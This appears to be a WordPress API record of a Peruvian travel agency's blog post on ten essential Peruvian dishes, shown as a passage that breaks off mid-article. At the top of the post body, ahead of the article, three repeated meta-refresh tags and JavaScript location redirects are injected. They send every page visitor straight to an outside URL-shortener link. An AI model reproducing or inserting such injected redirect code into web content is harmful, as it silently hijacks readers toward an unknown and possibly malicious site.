{"id":7937,"date":"2025-08-06T11:02:00","date_gmt":"2025-08-06T16:02:00","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=7937"},"modified":"2025-08-06T11:02:03","modified_gmt":"2025-08-06T16:02:03","slug":"essential-peruvian-food-10-dishes-you-must-try","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/essential-peruvian-food-10-dishes-you-must-try\/","title":{"rendered":"Essential Peruvian Food: 10 Dishes You Must Try"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p><strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/tips-for-travelers\/all-about-peru-updated-information\">Peru<\/a><\/strong> is a highly varied nation with a rich history dating back over 6000 years. Being a part of the birthplace of one of the greatest civilizations in history makes us Peruvians proud. <\/p>\n\n\n\n<p>Our cuisine shows our vast diversity and versatility. It represents our rich history, vibrant culture, and joy and passion.<\/p>\n\n\n\n<p>So, in this blog, we\u2019ll see why <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-the-real-peruvian-gastronomy\/\" title=\"\">Peruvian gastronomy<\/a><\/strong> is so special, what makes it different from other cuisines worldwide, and what dishes you must try when coming to our country.<\/p>\n\n\n\n<p>Therefore, let\u2019s do a mouthwatering tour of Peruvian food with Viagens Machu Picchu. We\u2019re sure you\u2019ll love our food as much as we Peruvians do!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What makes&nbsp; Peruvian food so special<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Peruvian Territory is Huge<\/strong><\/h3>\n\n\n\n<p>To begin with, one of the many reasons to understand Peruvian food is the c<strong><a class=\"aioseop-link\" href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/beyond-the-3-regions-of-peru\/\">ountry&#8217;s geography<\/a><\/strong>. Peru&#8217;s territory, for example, is diverse; its landscapes vary by region.\u00a0<\/p>\n\n\n\n<p>For adventure and thrill-seekers, the jungle is a great option. The mysterious rainforest, the wonderful creatures, and the amazing attractions are some reasons. <\/p>\n\n\n\n<p>Many visitors come to our country looking for new experiences. We have the coastal region too, a region that is full of beautiful beaches and national parks.<\/p>\n\n\n\n<p>It also has former mysterious cities, such as Chan Chan, <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/nazca\">Nazca<\/a><\/strong>, and <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/unveiling-caral-americas-oldest-civilization\/\" title=\"\"><strong>Caral<\/strong>.<\/a> Many experts say it&#8217;s the best region for eating in the whole country.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/portafolio.jpg?resize=697%2C327&#038;ssl=1\" alt=\"Best trekking spots in the Peruvian Andes\" class=\"wp-image-7120\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/portafolio.jpg?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/portafolio.jpg?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/portafolio.jpg?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/01\/portafolio.jpg?w=1170&amp;ssl=1 1170w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>The Peruvian Andes mountain range<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>Then, we have the region best known to many. It&#8217;s where the most popular attraction in Peru is. We\u2019re talking about the Andes Mountain region.&nbsp;<\/p>\n\n\n\n<p>There, you\u2019ll see breathtaking views, snow-capped mountains, and the cradle of the powerful Inca Empire, which includes<strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\"> Cusco<\/a><\/strong> and <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/machu-picchu\">Machu Picchu<\/a><\/strong>. <\/p>\n\n\n\n<p>There&#8217;s also the <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/arequipas-sillar-homes-and-colonial-beauty\/\" title=\"\">white city of Arequipa<\/a><\/strong>, surrounded by volcanoes. And there&#8217;s the highest navigable lake in the world, Titicaca.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Peru\u2019s biodiverse<\/strong><\/h3>\n\n\n\n<p>We have another reason, too: The biological variety. Peru is lucky as it has 75% of the world&#8217;s ecosystems and over 50 types of corn. It also has about 25 types of pre-Hispanic<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-fiery-hot-peppers-the-spicy-soul-of-andean-cuisine\/\" title=\"\"> hot peppers.&nbsp;<\/a><\/strong><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/28817842573_b74957cbbc_k.webp?resize=697%2C327&#038;ssl=1\" alt=\"Different kinds of Peruvian native peppers\" class=\"wp-image-13912\" style=\"width:672px;height:auto\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/28817842573_b74957cbbc_k.webp?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/28817842573_b74957cbbc_k.webp?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/28817842573_b74957cbbc_k.webp?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/28817842573_b74957cbbc_k.webp?w=1170&amp;ssl=1 1170w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Peruvian chili peppers<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>These include the 5,000+-year-old rocoto. Lastly, it has over 3500 varieties of potatoes. Recent studies show that people near Lake Titicaca produced the potato more than 8000 years ago.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Peru\u2019s ethnically diverse<\/strong><\/h3>\n\n\n\n<p>In addition to drawing on its traditions, Peruvian cuisine also incorporates elements from other cultures. Peruvian cuisine has been greatly impacted by immigration from countries such as China, Japan, Africa, Spain, Italy, and even <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/arabic-influence-on-peruvian-food-traditions\/\" title=\"\">the Arabs. <\/a><\/strong><\/p>\n\n\n\n<p>This is evident in the variety of products, cooking methods, and signature meals that include flavors from other cultures.<\/p>\n\n\n\n<figure data-amp-lightbox=\"true\" class=\"wp-block-gallery aligncenter has-nested-images columns-default wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" data-id=\"7940\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/2147664378.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Racially diversed people, whte, black, asian, and indigenous people that express variety in Peruvian people\" class=\"wp-image-7940\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/2147664378.jpg?w=1000&amp;ssl=1 1000w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/2147664378.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/2147664378.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/2147664378.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n<figcaption class=\"blocks-gallery-caption wp-element-caption\"><strong>You can see Peru&#8217;s diversity in our people.<\/strong><\/figcaption><\/figure>\n\n\n\n<p>Eventually, these people combined meat, fish, shellfish, pasta, flour, and spices to create a rich and varied <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-the-secrets-of-peruvian-creole-cuisine\/\" title=\"\">cuisine.<\/a><\/strong> People worldwide know its unique flavors and wide range of textures.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u201cEl Aderezo Peruano\u201d<\/strong><\/h3>\n\n\n\n<p>Each preparation has a distinct recipe. However, many of the dishes in our repertoire share a similar ingredient: the so-called \u201caderezo peruano\u201d (Peruvian dressing). <\/p>\n\n\n\n<p>Consequently, Peruvian food is popular for its distinctive flavors, which are made with a powerful and precise combination of flavors and ingredients.<\/p>\n\n\n\n<p>This blend is the cuisine&#8217;s distinguishing feature. The Peruvian dressing is probably the most significant aspect of achieving traditional Peruvian food.\u00a0 But, what does that basis include?<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"558\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1555.jpg?resize=697%2C558&#038;ssl=1\" alt=\"Basic ingridients for Peruvian aderezo, such as garlic, onion, chili, and tomato\" class=\"wp-image-7942\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1555.jpg?w=1000&amp;ssl=1 1000w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1555.jpg?resize=300%2C240&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1555.jpg?resize=768%2C614&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>The base of our dishes<\/strong><\/figcaption><\/figure>\n\n\n\n<p>Ingredients such as onion, garlic, and chili are three modest elements that, when combined, make up the basic Peruvian dressing. Of course, there&#8217;s cumin and pepper, and depending on the dish, spices, herbs, and veggies.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Our 10 picks to understand Peruvian food<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Pollo a la brasa<\/strong><\/h3>\n\n\n\n<p>Firstly, this roasted Chicken is chicken marinated in soy sauce, garlic, salt, and Peruvian chili peppers. Another key factor is the hot coals. <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/el-pollo-a-la-brasa-the-star-of-peruvian-cuisine\/\" title=\"\">Pollo a la brasa<\/a><\/strong> always comes with French fries, salad, and sauces.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/PORTADA-1-POLLO-A-LA-BRASA.png?resize=697%2C327&#038;ssl=1\" alt=\"Deliciously served pollo a la brasa, with french fries\" class=\"wp-image-7939\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/PORTADA-1-POLLO-A-LA-BRASA.png?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/PORTADA-1-POLLO-A-LA-BRASA.png?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/PORTADA-1-POLLO-A-LA-BRASA.png?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/PORTADA-1-POLLO-A-LA-BRASA.png?w=1170&amp;ssl=1 1170w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Pollo a la brasa, one of the most popular Peruvian dishes<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>This dish is probably one of the most popular dishes in Peru, as there are over 13,500 \u201cpollerias\u201d (roasted chicken restaurants) across the country. And as if all of this wasn&#8217;t enough, we observe &#8220;Pollo a la brasa Day&#8221; every third Sunday in July, bit by bit.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Aji de Gallina<\/strong><\/h3>\n\n\n\n<p>Then, we have creamy chicken in English,  a popular creole dish, a blend of bread, milk, onions, and Peruvian chili peppers. <\/p>\n\n\n\n<p>The result is a thick sauce mixed with shredded chicken; it\u2019s accompanied by olives, slices of potatoes, and boiled eggs.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/QFL3U57PZVHVJFOMKTVWK5UBUE-1.jpg?resize=697%2C392&#038;ssl=1\" alt=\"Creamy and appetizing aji de gallina, with olives,potatoes, and eggs\" class=\"wp-image-13751\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/QFL3U57PZVHVJFOMKTVWK5UBUE-1.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/QFL3U57PZVHVJFOMKTVWK5UBUE-1.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/QFL3U57PZVHVJFOMKTVWK5UBUE-1.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/QFL3U57PZVHVJFOMKTVWK5UBUE-1.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>A delicious aji de gallina<\/strong><\/figcaption><\/figure><\/div>\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/lomo-saltado-discover-one-of-the-worlds-top-dishes\/\" title=\"\">Lomo Saltado<\/a><\/strong><\/h3>\n\n\n\n<p><strong> <\/strong>Chinese immigrants brought<strong> <\/strong>Chinese-Peruvian hybrid cuisine to South America more than a century ago, resulting in Lomo Saltado, a stir-fried beef dish.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/35847.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Steer fried beef with french fries, or lomo saltado, one of the best dishes in Peruvian cuisine.\" class=\"wp-image-7943\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/35847.jpg?w=1000&amp;ssl=1 1000w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/35847.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/35847.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/35847.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Steer fried beef with French fries<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>This dish consists of sliced beef, red onions, tomatoes, and yellow peppers. The secret is saut\u00e9ing these ingredients with soy sauce. <\/p>\n\n\n\n<p>Lomo Saltado is accompanied by white rice; in some restaurants, you can find lomo saltado with fried eggs or plantain.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Anticucho<\/strong><\/h3>\n\n\n\n<p><strong> <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-anticucho-the-beloved-street-food\/\" title=\"\">Anticucho&#8217;s<\/a><\/strong> main ingredient is cow\u2019s heart (In English is grilled beef heart). Yes, you read it well, heart, but marinated in a special sauce, finely grilled. Just like with potatoes, inserting different sauces on skewers enhances the flavor of the slices of meat.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"408\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/anticuchos-en-lima.jpg?resize=697%2C408&#038;ssl=1\" alt=\"Freshly made anticucho dish, with griled potatoes and peruvian corn\" class=\"wp-image-13196\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/anticuchos-en-lima.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/anticuchos-en-lima.jpg?resize=300%2C176&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/anticuchos-en-lima.jpg?resize=768%2C450&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>We know that eating a cow\u2019s heart doesn\u2019t look delicious; however, many visitors tried the anticucho and now love it. <\/p>\n\n\n\n<p>This dish has an ancient history in the pre-Columbian era and is popular for being a delicious yet affordable street food.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Papas a la Huancaina<\/strong><\/h3>\n\n\n\n<p><span style=\"box-sizing: border-box; margin: 0px; padding: 0px;\">This side dish&nbsp;consists of boiled potatoes topped with a hot cheese sauce known as \u201chuancaina sauce.&#8221; The main ingredients of the sauce are fresh cheese, garlic, aji amarillo (Peruvian yellow chili peppers), milk, and bread or saltine crackers for thickness<\/span>.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"466\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12624228343_754d6d3a9f_h.jpg?resize=697%2C466&#038;ssl=1\" alt=\"Papa a la huancaina dish with olives, lettuce, some slices of chili and cheese\" class=\"wp-image-13752\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12624228343_754d6d3a9f_h.jpg?resize=1024%2C684&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12624228343_754d6d3a9f_h.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12624228343_754d6d3a9f_h.jpg?resize=768%2C513&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12624228343_754d6d3a9f_h.jpg?resize=1536%2C1025&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12624228343_754d6d3a9f_h.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12624228343_754d6d3a9f_h.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12624228343_754d6d3a9f_h.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>A delicious side dish, Papa a la Huancaina<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>The sauce is creamy, aromatic, and has a slightly spicy flavor. Commonly, you eat it with potatoes, boiled eggs, and lettuce<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Arroz Chaufa<\/strong><\/h3>\n\n\n\n<p>This fried rice dish received<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chifa-the-delicious-fusion-of-chinese-and-peruvian-flavors\/\" title=\"\"> Chinese<\/a><\/strong> influence and originated thanks to&nbsp;Chinese immigration to Peru at the end of the 19th century.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/50095815602_f468c7803f_b.webp?resize=697%2C465&#038;ssl=1\" alt=\"Arroz Chaufa in a traditional wok, about to be ready to serve\" class=\"wp-image-13913\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/50095815602_f468c7803f_b.webp?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/50095815602_f468c7803f_b.webp?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/50095815602_f468c7803f_b.webp?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/50095815602_f468c7803f_b.webp?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Arroz chaufa, the blend of two ancient cultures<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>This dish has diverse ingredients such as stir-fried peas, scrambled eggs mixed with soy sauce, and chopped chicken. Some versions include adding meat, pork, shrimp, and peppers.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Cuy chactado&nbsp; <\/strong>&nbsp;<\/h3>\n\n\n\n<p>This is a traditional Peruvian dish featuring fried guinea pigs<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-cuy-in-peruvian-cuisine-importance-and-preparation\/\" title=\"\">. <strong>Guinea pig, or cuy<\/strong><\/a><span style=\"box-sizing: border-box; margin: 0px; padding: 0px;\"><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-cuy-in-peruvian-cuisine-importance-and-preparation\/\" target=\"_blank\"><strong>\u00a0<\/strong><\/a><\/span>in Peru, has been a part of Andean cuisine for centuries.\u00a0<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/PORTADA-1-12.png?resize=697%2C327&#038;ssl=1\" alt=\"deep fried cuy, or cuy chactado with potatoes, salad, and corn\" class=\"wp-image-7945\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/PORTADA-1-12.png?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/PORTADA-1-12.png?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/PORTADA-1-12.png?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/PORTADA-1-12.png?w=1170&amp;ssl=1 1170w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Cuy chactado, a Peruvian delicacy<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>To prepare Cuy Chactado, flatten the guinea pig and then fry it until crispy. People typically serve it with potatoes. <\/p>\n\n\n\n<p>It is eaten with a spicy sauce, such as aji amarillo sauce or salsa criolla. Salsa criolla is a mix of onions, tomatoes, and lime juice.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Pachamanca<\/strong><\/h3>\n\n\n\n<p>This<strong> <\/strong>is a traditional Peruvian cuisine from the Andes region. It is a ceremonial dish cooked for special occasions. Pachamanca involves preparing meat (usually hog, chicken, lamb, or guinea pig).<\/p>\n\n\n\n<p>The<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/pachamanca-the-ancient-andean-cooking-ritual\/\" title=\"\"> pachamanca<\/a><\/strong> also includes a range of Andean tubers like potatoes, sweet potatoes, and yucca. It also includes corn and fava beans. All of the ingredients are marinated in herbs and spices.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/XQ6NDUNECJE3ZGJBXV5ATSPCC4-1.webp?resize=697%2C327&#038;ssl=1\" alt=\"Pachamanca that contains chicken, beans, corn, potatoes, meat, pork,all cover in a saucy and thick sauce\" class=\"wp-image-13916\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/XQ6NDUNECJE3ZGJBXV5ATSPCC4-1.webp?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/XQ6NDUNECJE3ZGJBXV5ATSPCC4-1.webp?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/XQ6NDUNECJE3ZGJBXV5ATSPCC4-1.webp?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/XQ6NDUNECJE3ZGJBXV5ATSPCC4-1.webp?w=1170&amp;ssl=1 1170w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>The materials are then placed into a pit lined with heated stones, wrapped in banana leaves, and cooked underground using traditional methods. The end product is a rich and aromatic meal with tender, juicy meats and vegetables<strong>.&nbsp;<\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u201cDe la selva su Encanto<\/strong>\u201d<\/h3>\n\n\n\n<p>From the charming Peruvian rainforest, we have its most traditional dish, Juanes is traditional Peruvian rice and meat parcels wrapped in banana leaves.<\/p>\n\n\n\n<p>The dish is particularly popular in the<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-best-of-peruvian-amazon-cuisine\/\" title=\"\"> Amazonian regions<\/a><\/strong> of Peru. To make juanes, rice is mixed with seasoned meat (often chicken), onions, garlic, and regional spices.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"349\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/Juane.jpeg?resize=697%2C349&#038;ssl=1\" alt=\"Juanes dish, that contains plantain, rice, olives, and cocona spicy sauce\" class=\"wp-image-13894\" 